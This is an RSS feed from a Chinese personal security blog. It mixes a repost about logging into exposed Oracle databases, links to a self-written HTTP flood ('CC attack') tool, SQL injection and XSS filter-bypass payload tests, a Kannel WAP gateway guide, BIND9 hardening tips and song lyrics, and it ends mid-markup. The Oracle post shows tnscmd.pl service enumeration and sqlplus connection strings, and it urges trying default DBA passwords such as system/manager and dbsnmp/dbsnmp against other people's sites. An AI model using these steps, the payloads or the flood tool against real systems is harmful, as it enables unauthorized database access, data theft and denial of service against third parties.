<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:content="http://purl.org/Rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>demonalex的狂人日记</title><link>http://www.i170.com/user/demonalex/Rss</link><description></description><language>zh-cn</language><pubDate>Fri, 10 Feb 2012 00:33:59  +0800</pubDate><generator>i170.com</generator><image><title>demonalex的狂人日记</title><url>http://www.i170.comattavatar_1/demonalex_4659.JPG</url><link>http://www.i170.com/user/demonalex/Rss</link></image> <item><link>http://www.i170.com/Article/120049</link><title><![CDATA[主页更改通知]]></title><author>demonalex</author><category>胡言乱语</category><pubDate>Wed, 30 Dec 2009 10:39:49  +0800</pubDate><description><![CDATA[<p>针对近期ISP的ACL问题，本人决定暂时更改主页地址，新主页访问URL为：</p>
<p>http://demonalex.3322.org:81/</p>
<p>http://demonalex.8866.org:81/</p>
<p>http://www.demonalex.co.cc:81/</p>
<p>谢谢。</p>

]]></description><guid>http://www.i170.com/Article/120049</guid><trackback:ping>http://www.i170.com/Article/120049/trackback</trackback:ping><comments>http://www.i170.com/Article/120049#comment</comments><wfw:commentRss>http://www.i170.com/Article/120049/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/119698</link><title><![CDATA[关于“Oracle tnslsnr 没设置口令”的利用工具--tnscmd]]></title><author>demonalex</author><category>安全技术</category><pubDate>Wed, 02 Dec 2009 11:52:18  +0800</pubDate><description><![CDATA[<p>转载原文地址: http://edu.cnzz.cn/NewsInfo/13878.aspx</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div id="content_top">
<h1>Oracle数据库中存在默认密码威胁</h1>
<div id="info"><span>2008-5-5 17:30:00</span><a href=
"http://edu.cnzz.cn/NewsComment/13878.aspx">查看学习心得</a>
<div id="divFavClass">&nbsp;</div>
</div>
</div>
<p>&nbsp;
Oracle数据库是现在很流行的数据库系统，很多大型网站都采用Oracle，它之所以倍受用户喜爱是因为它有以下突出的特点：</p>
<p>&nbsp;&nbsp;&nbsp;
1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库，其大小可到几百千兆，可充分利用硬件设备。支持大量用户同时在同一数据上执行
各种数据应用，并使数据争用最小，保证数据一致性。系统维护具有高的性能，Oracle每天可连续24小时工作，正常的系统操作（后备或个别计算机系统故
障）不会中断数据库的使用。可控制数据库数据的可用性，可在数据库级或在子数据库级上控制。</p>
<p>&nbsp;&nbsp;&nbsp;
2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统，保护了用户的投资。美国标准化和技术研究所
（NIST）对Oracle7 SERVER进行检验，100%地与ANSI/ISO SQL89标准的二级相兼容。</p>
<p>&nbsp;&nbsp;&nbsp;
3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性，为可接受的数据指定标准。</p>
<p>&nbsp;&nbsp;&nbsp;
4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络，允许将处理分为数据库服务器和客户应用程序，所有共享的数据管理由数据库管
理系统的计算机处理，而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境，Oracle将存放在多台计算机上的数据组合成一个逻辑
数据库，可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。</p>
<p>&nbsp;&nbsp;&nbsp;
具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行，以致Oracle上所开发的应用可移植到任何操作系统，只需很少
修改或不需修改。Oracle软件同工业标准相兼容，包括很多工业标准的操作系统，所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许
不同类型的计算机和操作系统通过网络可共享信息。</p>
<p>&nbsp;&nbsp;&nbsp;
虽然Oracle数据库具有很高的安全性，但是如果我们在配置的时候不注意安全意识，那么也是很危险的。也就是说，安全最主要的还是要靠人自己，而不能过分依赖软件来实现。</p>
<p>&nbsp;&nbsp;&nbsp;
我们知道，在mssql中，安装完成后默认有个sa的登陆密码为空，如果不更改就会产生安全漏洞。那么oracle呢？也有的。为了安装和调试的方便，
Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager.笔者发现很多国内网站的Oracle数据库没有更改这
两个用户的密码，其中也包括很多大型的电子商务网站， 我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现，看下面的文章吧。</p>
<p>&nbsp;&nbsp;&nbsp;
进行测试前我们先来了解一些相关的知识，我们连接一个Oracle数据库的时候，需要知道它的service_name或者是Sid值，就象mssql一
样，需要知道数据库名。那如何去知道呢，猜？呵呵，显然是不行的。这里我们先讲讲oracle的TNS
listener，它位于数据库Client和数据库Server之间，默认监听1521端口，这个监听端口是可以更改的。但是如果你用一个tcp的
session去连接1521端口的话，oracle将不会返回它的banner，如果你输入一些东西的话，它甚至有可能把你踢出去。这里我们就需要用
tnscmd.pl这个perl程序了，它可以查询远程oracle数据库是否开启（也就是ping了），查询版本，以及查询它的服务名，服务状态和数据
库服务名，而且正确率很高。</p>
<p>&nbsp;&nbsp;&nbsp;
理论方面的讲完了，如果还有什么不懂的可以去查找相关资料。现在开始测试吧，需要的工具有：ActivePerl，Oracle客户端，
Superscan或者是其它扫描端口的软件，
Tnscmd.pl.我们先用Superscan扫描开放了端口1521的主机，假设其IP是xx.xx.110.110，这样目标已经有了。然后我们要
做的就是用Tnscmd.pl来查询远程数据库的服务名了，Tnscmd.pl的用法如下：</p>
<p><br>
&nbsp;&nbsp;&nbsp; C:\perl\bin&gt;perl tnscmd.pl<br>
&nbsp;&nbsp;&nbsp; usage: tnscmd.pl [command] -h hostname<br>
&nbsp;&nbsp;&nbsp; where 'command' is something like ping, version,
status, etc.<br>
&nbsp;&nbsp;&nbsp; (default is ping)<br>
&nbsp;&nbsp;&nbsp; [-p port] - alternate TCP port to use (default
is 1521)<br>
&nbsp;&nbsp;&nbsp; [--logfile logfile] - write raw packets to
specified logfile<br>
&nbsp;&nbsp;&nbsp; [--indent] - indent &amp; outdent on parens<br>
&nbsp;&nbsp;&nbsp; [--rawcmd command] - build your own CONNECT_DATA
string<br>
&nbsp;&nbsp;&nbsp; [--cmdsize bytes] - fake TNS command size
(reveals packet leakage)<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; 我们下面用的只有简单的几个命令，其他的命令也很好用，一起去发掘吧。<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; 然后我们就这样来：</p>
<p>&nbsp;&nbsp;&nbsp; C:\perl\bin&gt;perl tnscmd.pl services -h
xx.xx.110.110 -p 1521 –indent</p>
<p>&nbsp;&nbsp;&nbsp; sending (CONNECT_DATA=(COMMAND=services)) to
xx.xx.110.110:1521</p>
<p>&nbsp;&nbsp;&nbsp; writing 91 bytes</p>
<p>&nbsp;&nbsp;&nbsp; reading</p>
<p>&nbsp;&nbsp;&nbsp; ._.......6.........?. ..........</p>
<p>&nbsp;&nbsp;&nbsp; DESCRIPTION=</p>
<p>&nbsp;&nbsp;&nbsp; TMP=</p>
<p>&nbsp;&nbsp;&nbsp; VSNNUM=135286784</p>
<p>&nbsp;&nbsp;&nbsp; ERR=0</p>
<p>&nbsp;&nbsp;&nbsp; SERVICES_EXIST=1</p>
<p>&nbsp;&nbsp;&nbsp; .Q........</p>
<p>&nbsp;&nbsp;&nbsp; SERVICE=</p>
<p>&nbsp;&nbsp;&nbsp; SERVICE_NAME=ORCL</p>
<p>&nbsp;&nbsp;&nbsp; INSTANCE=</p>
<p>&nbsp;&nbsp;&nbsp; INSTANCE_NAME=ORCL</p>
<p>&nbsp;&nbsp;&nbsp; NUM=1</p>
<p>&nbsp;&nbsp;&nbsp; INSTANCE_CLASS=ORACLE</p>
<p>&nbsp;&nbsp;&nbsp; HANDLER=</p>
<p>&nbsp;&nbsp;&nbsp; HANDLER_DISPLAY=DEDICATED SERVER</p>
<p>&nbsp;&nbsp;&nbsp; STA=ready</p>
<p>&nbsp;&nbsp;&nbsp; HANDLER_INFO=LOCAL SERVER</p>
<p>&nbsp;&nbsp;&nbsp; HANDLER_MAXLOAD=0</p>
<p>&nbsp;&nbsp;&nbsp; HANDLER_LOAD=0</p>
<p>&nbsp;&nbsp;&nbsp; ESTABLISHED=447278</p>
<p>&nbsp;&nbsp;&nbsp; REFUSED=0</p>
<p>&nbsp;&nbsp;&nbsp;
HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227</p>
<p>&nbsp;&nbsp;&nbsp; HANDLER_NAME=DEDICATED</p>
<p>&nbsp;&nbsp;&nbsp; ADDRESS=</p>
<p>&nbsp;&nbsp;&nbsp; PROTOCOL=beq</p>
<p>&nbsp;&nbsp;&nbsp; PROGRAM=/home/oracle/bin/oracle</p>
<p>&nbsp;&nbsp;&nbsp;
ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'</p>
<p>&nbsp;&nbsp;&nbsp; ARGV0=oracleORCL</p>
<p>&nbsp;&nbsp;&nbsp; ARGS='</p>
<p>&nbsp;&nbsp;&nbsp; LOCAL=NO</p>
<p>&nbsp;&nbsp;&nbsp; '</p>
<p>&nbsp;&nbsp;&nbsp; .........@<br>
&nbsp;&nbsp;&nbsp;
从上面得到的信息我们可以看出数据库的服务名为ORCL，然后我们就可以通过sqlplus工具来远程连上它了，用户名和密码我们用默认的
system/manager或者是sys/manager，其他的如mdsys/mdsys，ctxsys/ctxsys等，这个默认用户和密码是随版
本的不同而改变的。如下：</p>
<p>&nbsp;&nbsp;&nbsp; C:\oracle\ora90\BIN&gt;sqlplus /nolog</p>
<p>&nbsp;&nbsp;&nbsp; SQL*Plus: Release 9.0.1.0.1 - Production on
Thu May 23 11:36:59 2002</p>
<p>&nbsp;&nbsp;&nbsp; (c) Copyright 2001 Oracle Corporation.　All
rights reserved.</p>
<p>&nbsp;&nbsp;&nbsp; SQL&gt;connect system/manager@</p>
<p>&nbsp;&nbsp;&nbsp;
(description=(address_list=(address=(protocol=tcp)</p>
<p>&nbsp;&nbsp;&nbsp; (host=xx.xx.110.110)(port=1521)))</p>
<p>&nbsp;&nbsp;&nbsp; (connect_data=(SERVICE_NAME=ORCL)));<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;
如果密码正确，那么就会提示connected，如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了，那我们只能换别的目标了。但是我发现很多都是不改的，这个就是安全意识的问题了。</p>

]]></description><guid>http://www.i170.com/Article/119698</guid><trackback:ping>http://www.i170.com/Article/119698/trackback</trackback:ping><comments>http://www.i170.com/Article/119698#comment</comments><wfw:commentRss>http://www.i170.com/Article/119698/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/119143</link><title><![CDATA[FatGod v3.1（含源代码）]]></title><author>demonalex</author><category>安全技术</category><pubDate>Sat, 17 Oct 2009 23:45:41  +0800</pubDate><description><![CDATA[<p><a href=
"http://demonalex.homeip.net/fatgod_v3.1.rar">http://demonalex.homeip.net/fatgod_v3.1.rar</a></p>

]]></description><guid>http://www.i170.com/Article/119143</guid><trackback:ping>http://www.i170.com/Article/119143/trackback</trackback:ping><comments>http://www.i170.com/Article/119143#comment</comments><wfw:commentRss>http://www.i170.com/Article/119143/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/119106</link><title><![CDATA[最近写的命令行CC攻击器--FatGod v2.8]]></title><author>demonalex</author><category>安全技术</category><pubDate>Thu, 15 Oct 2009 00:49:25  +0800</pubDate><description><![CDATA[<p><a href=
"http://demonalex.homeip.net/fatgod_v2.8_bin.rar">http://demonalex.homeip.net/fatgod_v2.8_bin.rar</a></p>

]]></description><guid>http://www.i170.com/Article/119106</guid><trackback:ping>http://www.i170.com/Article/119106/trackback</trackback:ping><comments>http://www.i170.com/Article/119106#comment</comments><wfw:commentRss>http://www.i170.com/Article/119106/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/119105</link><title><![CDATA[“盒子”管理接口 for ubuntu]]></title><author>demonalex</author><category>安全技术</category><pubDate>Thu, 15 Oct 2009 00:47:44  +0800</pubDate><description><![CDATA[<p><a href=
"http://demonalex.homeip.net/menu_ubuntu.pl.txt">http://demonalex.homeip.net/menu_ubuntu.pl.txt</a></p>

]]></description><guid>http://www.i170.com/Article/119105</guid><trackback:ping>http://www.i170.com/Article/119105/trackback</trackback:ping><comments>http://www.i170.com/Article/119105#comment</comments><wfw:commentRss>http://www.i170.com/Article/119105/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118944</link><title><![CDATA[[转载]在Linux上建立WAP网关]]></title><author>demonalex</author><category>安全技术</category><pubDate>Fri, 25 Sep 2009 09:37:24  +0800</pubDate><description><![CDATA[<p><span class="postbody"><font size="2"><span style=
"">=========================<br>
作者：Nanu<br>
首发于：www.chinaunix.net<br>
如需转载请注明作者<br>
=========================</span><br>
<br>
查了很多资料，终于能够在Linux上建立一个WAP网关了！建立成功后，你就可以使用自己的WAP网关浏览无线网络内容！试试抛弃中国移动提供的网关参数而使用自己DIY出来的WAP网关，这样的感觉，呵呵，挺酷的！</font></span><br>

<font size="2"><span style="">一、系统需求</span><br>
============<br>
需要libxml2库2.2.5或更高版本，这个XML库是安装和编译网关所需要的。<br>
可以通过以下命令检查系统中是否已经安装libxml2库：<br>
<span style=""># rpm -qa | grep libxml2</span><br>
<br>
<br>
<span style="">二、建立WAP网关</span><br>
===============<br>
很多商用的WAP网关价格令人咋舌！根本不是个人用的起的。不过，有一个名为Kannel的WAP网关是完全免费的！Kannel是一个开放源代码的WAP网关项目，在安装后还可以自定义网关参数。打造自己的个性化WAP网关！<br>

<br>
1、下载安装<br>
-----------<br>
目前最新的Kannel稳定版版本为1.4.0，可以在http://www.kannel.org下载。下载后进行安装：</font>
<font size="2"><span style=""># tar xzvf gateway-1.4.0.tar.gz<br>
# mv gateway-1.4.0 /usr/local/kannel<br>
# cd /usr/local/kannel<br>
# ./configure --enable-start-stop-daemon<br>
# make<br>
# make bindir=/usr/local/bin install</span><br>
<br>
2、配置网关<br>
-----------<br>
<span style=""># vi gw/wapkannel.conf</span><br></font></p>
<table width="90%" cellspacing="1" cellpadding="3" border="0"
align="center">
<tbody>
<tr>
<td><span class="genmed"><strong><font size=
"2">代码:</font></strong></span></td>
</tr>
<tr>
<td class="code"># KANNLE WAP示例配置文档<br>
# Created by Nanu<br>
# http://nanu.8866.org<br>
<br>
# 这是一个必须变量core<br>
group = core<br>
<br>
# 用于bearerbox侦听HTTP管理命令的端口号。可以设定为高于1023的任何端口<br>
admin-port = 13333<br>
<br>
# 指定是否启用SSL<br>
admin-port-ssl = false<br>
<br>
# HTTP 管理命令的密码<br>
admin-password = yourpasswd<br>
<br>
# 请求Kannel状态的密码。如果没有设置，则无需密码。<br>
status-password = rose123<br>
<br>
# 拒绝来自该IP地址的连接<br>
admin-deny-ip = "123.123.123.123"<br>
<br>
# 允许这些IP的连接，可以使用通配符<br>
admin-allow-ip = "*.*.*.*"<br>
<br>
# 用于wapbox连接的端口。如果没有设置，则Kannel不能处理WAP传输<br>
wapbox-port = 13002<br>
<br>
# 拒绝来自该IP地址的连接<br>
box-deny-ip = "123.123.123.123"<br>
<br>
# 允许这些IP对WAP单元的连接，可以使用通配符<br>
box-allow-ip = "*.*.*.*"<br>
<br>
# 拒绝来自该IP的UDP数据包<br>
udp-deny-ip = "123.123.123.123"<br>
<br>
# 允许来自该IP的UDP数据包，可以使用通配符<br>
udp-allow-ip = "*.*.*.*"<br>
<br>
# 如果设置了这个参数，Kannel就会侦听指定IP的9200到9208端口的WAP UDP数据包。<br>
# 如果不需要具体限定，可以只用一个星号<br>
wdp-interface-name = "*"<br>
<br>
# 日志文件<br>
log-file = "kannel.log"<br>
<br>
# 日志级别<br>
# 0 调度<br>
# 1 信息<br>
# 2 警告<br>
# 3 错误<br>
# 4 致命问题<br>
log-level = 1<br>
<br>
# WAPBOX 组配置信息<br>
<br>
# 必选变量<br>
group = wapbox<br>
<br>
# 运行bearerbox的计算机<br>
bearerbox-host = localhost<br>
<br>
# 计时器的较验频率<br>
timer-freq = 1<br>
<br>
# 日志文件<br>
log-file = "wap.log"<br>
<br>
# 日志级别<br>
# 0 调度<br>
# 1 信息<br>
# 2 警告<br>
# 3 错误<br>
# 4 致命问题<br>
log-level = 1</td>
</tr>
</tbody>
</table>
<p><span class="postbody"><br>
<br>
<font size="2">3、启动网关<br>
-----------<br>
必须先启动bearerbox，然后再启动 wapbox。由于bearerbox是网关的基本部分，所以必须要先启动。<br>
启动bearerbox：<br>
<span style="">./bearerbox -v 1
/usr/local/kannel/gw/wapkannel.conf</span><br>
<br>
启动wapbox：<br>
<span style="">./wapbox -v 1
/usr/local/kannel/gw/wapkannel.conf</span><br>
<br>
<span style="">三、通过HTTP管理网关</span><br>
====================<br>
可用命令：<br>
http://localhost:13333/shutdown?password=yourpasswd （关闭网关）<br>
http://localhost:13333/status?password=yourpasswd （获取网关状态）<br>
http://localhost:13333/resume?password=yourpasswd （继续运行网关）<br>
<br>
说明：<br>
13333：为配置文件中admin-port指定的端口<br>
password：为配置文件中admin-password指定的密码<br>
<br>
<br>
<span style="">四、使用一个支持WAP的手机或者模拟器测试</span><br>
=======================================<br>
1、确认Linux的IPTABLES或者其他防火墙开放相应的WAP端口；<br>
2、修改你手机或手机模拟器中的WAP网关参数为你运行的Linux的IP地址；<br>
3、访问一个基于WML页面的WAP站点，如果能够访问则说明成功！<br>
<br>
---The End</font></span></p>

]]></description><guid>http://www.i170.com/Article/118944</guid><trackback:ping>http://www.i170.com/Article/118944/trackback</trackback:ping><comments>http://www.i170.com/Article/118944#comment</comments><wfw:commentRss>http://www.i170.com/Article/118944/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118484</link><title><![CDATA[为转换成10进制而绕过字符过滤的安全问题辟谣]]></title><author>demonalex</author><category>安全技术,胡言乱语</category><pubDate>Sun, 23 Aug 2009 14:47:21  +0800</pubDate><description><![CDATA[<p>前段时间因为工作的需要，与磁力频频在电话就‘绕过字符型过滤实现继续注入与跨站’的问题进行讨论。</p>
<p>&nbsp;</p>
<p>在某权威网站上云通过转换为10进制方式可以绕过限制，小神无聊之余做了一下实验：</p>
<p>&nbsp;</p>
<p>搜索型SQL注入：</p>
<p>1%' and '%a%'='%a</p>
<p>在得知系统过滤'号与%号后逐转换为：</p>
<p>1&amp;#37&amp;#39 and
&amp;#39&amp;#37a&amp;#37&amp;#39=&amp;#39&amp;#37a</p>
<p>&nbsp;</p>
<p>测试结果：</p>
<p>搜索后系统返回“什么结果都没有”的状态；</p>
<p>当再次搜索时无论你输入是合法还是不合法的内容，均提示“存在非法字符”（效果与直接搜索'号或%号一样）。</p>
<p>&nbsp;</p>
<p>跨站：</p>
<p>在系统在线小纸条或在线提问类平台中输入：</p>
<p>"&gt;&lt;script&gt;alert(/4/);&lt;/script&gt;转换为的结果：</p>
<p>
&amp;#34&amp;#62&amp;#60script&amp;#62alert(/4/);&amp;#60/script&amp;#62</p>
<p>
结果发现系统正常返回转换前的内容（通过FireBug定位确认输入的内容没有任何内容被替换），但不会诱发跨站。再把网页保存到本地，替换为转换前的内容，跨站OK！</p>
<p>&nbsp;</p>
<p>以上两个实验后逐‘昏’，，，，看来所谓的10进制ASCII码转换并不能达到预期的效果，希望各位大虾拍砖，指导一下小神：P</p>
<p>&nbsp;</p>

]]></description><guid>http://www.i170.com/Article/118484</guid><trackback:ping>http://www.i170.com/Article/118484/trackback</trackback:ping><comments>http://www.i170.com/Article/118484#comment</comments><wfw:commentRss>http://www.i170.com/Article/118484/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118481</link><title><![CDATA[方大同版nothing&#39;&#39;s gonna change my love for you]]></title><author>demonalex</author><category>凭歌寄意</category><pubDate>Sun, 23 Aug 2009 12:24:53  +0800</pubDate><description><![CDATA[<p>下载地址：</p>
<p><a href=
"http://st002.static.360quan.com/music/ca/d0/7b/cad07b63ca4900909a2f518b0f249e6c.mp3">
http://st002.static.360quan.com/music/ca/d0/7b/cad07b63ca4900909a2f518b0f249e6c.mp3</a></p>
<p>&nbsp;</p>
<p>歌词：</p>
<div id="lrc1">[方大同 - nothing is gonna change my love for you</div>
<div id="lrc2">&nbsp;</div>
<div id="lrc3">紫.ｓè制作 QQ：253057646]</div>
<div id="lrc4">&nbsp;</div>
<div id="lrc5">if i had to live my life without you near me</div>
<div id="lrc6">the days would all be empty</div>
<div id="lrc7">the nights would seem so long</div>
<div id="lrc8">you i see forever oh so clearly</div>
<div id="lrc9">i might have been in love before</div>
<div id="lrc10">but i've never felt this strong</div>
<div id="lrc11">our dreams are young and we both know</div>
<div id="lrc12">they take us where we want to go</div>
<div id="lrc13">hold me now touch me now</div>
<div id="lrc14">i don't want to live without you</div>
<div id="lrc15">&nbsp;</div>
<div id="lrc16">nothing's gonna change my love for you</div>
<div id="lrc17">you oughta know by now how much i love you</div>
<div id="lrc18">one thing you can be sure of</div>
<div id="lrc19">i never ask for more than your love</div>
<div id="lrc20">nothing's gonna change my love for you</div>
<div id="lrc21">you oughta know by now how much i love you</div>
<div id="lrc22">the world may change my whole life through</div>
<div id="lrc23">but nothing's gonna change my love for you</div>
<div id="lrc24">&nbsp;</div>
<div id="lrc25">if the road ahead is not so easy</div>
<div id="lrc26">our love will lead the way for us</div>
<div id="lrc27">like a guiding star</div>
<div id="lrc28">i'll be there for you if you should need me</div>
<div id="lrc29">you don't have to change a thing</div>
<div id="lrc30">i love you just the way you are</div>
<div id="lrc31">so come with me and share the view</div>
<div id="lrc32">i help you see forever too</div>
<div id="lrc33">hold me now touch me now</div>
<div id="lrc34">i don't want to live without you</div>
<div id="lrc35">&nbsp;</div>
<div id="lrc36">nothing's gonna change my love for you</div>
<div id="lrc37">you oughta know by now how much i love you</div>
<div id="lrc38">one thing you can be sure of</div>
<div id="lrc39">i never ask for more than your love</div>
<div id="lrc40">nothing's gonna change my love for you</div>
<div id="lrc41">you oughta know by now how much i love you</div>
<div id="lrc42">the world may change my whole life through</div>
<div id="lrc43">but nothing's gonna change my love for you</div>
<div id="lrc44">&nbsp;</div>
<div id="lrc45">nothing's gonna change my love for you</div>
<div id="lrc46">you oughta know by now how much i love you</div>
<div id="lrc47">one thing you can be sure of</div>
<div id="lrc48">i never ask for more than your love</div>
<div id="lrc49">nothing's gonna change my love for you</div>
<div id="lrc50">you oughta know by now how much i love you</div>
<div id="lrc51">the world may change my whole life through</div>
<div id="lrc52">
<p>but nothing's gonna change my love for you</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>方大同个人介绍：</p>
<p><a href=
"http://www.1ting.com/singer/02/singer_2778.html">http://www.1ting.com/singer/02/singer_2778.html</a></p>
</div>

]]></description><guid>http://www.i170.com/Article/118481</guid><trackback:ping>http://www.i170.com/Article/118481/trackback</trackback:ping><comments>http://www.i170.com/Article/118481#comment</comments><wfw:commentRss>http://www.i170.com/Article/118481/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118373</link><title><![CDATA[[转载]BIND9安全加固]]></title><author>demonalex</author><category>安全技术</category><pubDate>Fri, 14 Aug 2009 02:22:47  +0800</pubDate><description><![CDATA[<p class="MsoNormal"><span lang="EN-US">BIND9</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">安全加固</span></p>
<p class="MsoNormal"><span lang="EN-US">writer: showrun(from
chinacissp BBS)</span></p>
<p class="MsoNormal"><span lang="EN-US">date:2009-08-05
09:32</span></p>
<p class="MsoNormal"><span lang=
"EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal"><span lang=
"EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal"><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">前几天</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">趁着研究</span><span lang="EN-US">bind9</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">的</span><span lang="EN-US">DoS
vul</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">，又重温了一下</span><span lang="EN-US">bind</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">相关的一些安全设置。</span>
<span lang="EN-US"><br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">以前常见的一个比较容易忽略的问题是忘记设置</span><span lang="EN-US">allow-transfer,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">这样会导致比较严重的信息泄露。以下是我参考</span>
<span lang=
"EN-US">http://oreilly.com.cn/samplechap/dnsbind4/dns&amp;bind4-11.pdf</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">后</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">总结的一些需要注</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">意的地方。</span>
<span lang="EN-US"><br></span></p>
<p class="partingline">[separator]</p>
<br>
1.<span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">隐藏</span><span lang="EN-US">bind</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">的版本</span>
<span lang="EN-US"><br>
options {<br>
version "None of your business";<br>
};<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">验证方法</span><span lang="EN-US">:<br>

dig @ip.addr txt chaos bind.version<br>
2.</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">限制查询</span>
<span lang="EN-US"><br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">限制所有查询的方法</span><span lang="EN-US">:<br>

options {<br>
allow-query { address_match_list; };<br>
};<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">限制关于某个特定区的查询</span>
<span lang="EN-US"><br>
acl "HP-NET" { 15/8; };<br>
zone "hp.com" {<br>
type slave;<br>
file "bak.hp.com";<br>
masters { 15.255.152.2; };<br>
allow-query { "HP-NET"; };<br>
};<br>
<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">如果有多</span><span lang="EN-US">ip</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">的话</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">可以限制某个查询所使用的</span><span lang="EN-US">ip</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">地址</span>
<span lang="EN-US"><br>
listen-on { 192.249.249.3; };<br>
<br>
3.</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">防止未授权的区传递</span>
<span lang="EN-US"><br>
zone "movie.edu" {<br>
type master;<br>
file "db.movie.edu";<br>
allow-transfer { 192.249.249.1; 192.253.253.1; 192.249.249.9;
192.253.253.9; };<br>
};<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">只允许那些辅名字服务器从主名字服务器传输</span><span lang="EN-US">movie.edu</span>
<span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">区的数据。</span>
<span lang="EN-US"><br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">因为</span><span lang="EN-US">BIND
8</span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">和</span><span lang=
"EN-US">9</span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">的默认配置是允许所有</span><span lang="EN-US">IP</span>
<span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">地址进行区传送，而且因为黑客可以很容易地从辅名字服务器那里获得区的数据，你也许应该在辅名字服务器上也加上以下的</span><span lang="EN-US">zone</span>
<span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">语句：</span>
<span lang="EN-US"><br>
zone "movie.edu" {<br>
type slave;<br>
masters { 192.249.249.3; };<br>
file "bak.movie.edu";<br>
allow-transfer { none; };<br>
};<br>
<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">也可以在全局</span><span lang="EN-US">options</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">中，设置只有内部的</span><span lang="EN-US">ip</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">地址才能进行区传送</span><span lang="EN-US">:<br>

options {<br>
allow-transfer { 192.249.249/24; 192.253.253/24; 192.253.254/24;
};<br>
};<br>
<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">测试方法</span><span lang="EN-US">:</span>
<span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">使用</span><span lang="EN-US">dnswalk<br>

<br>
4.</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">使用</span><span lang="EN-US">chroot</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">的方式运行</span><span lang="EN-US">bind9<br>

bind9</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">采取源码</span><span lang="EN-US">make
install</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">方式安装的话</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">就可以看出他本身就是为</span><span lang="EN-US">chroot
running</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">准备的。具体的</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">可以看一下</span><span lang="EN-US">man,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">或者</span><span lang="EN-US">google</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">。</span>
<span lang="EN-US"><br>
<br>
5.</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">针对授权</span><span lang="EN-US">dns</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">的一些安全配置</span>
<span lang="EN-US"><br></span> <span style=
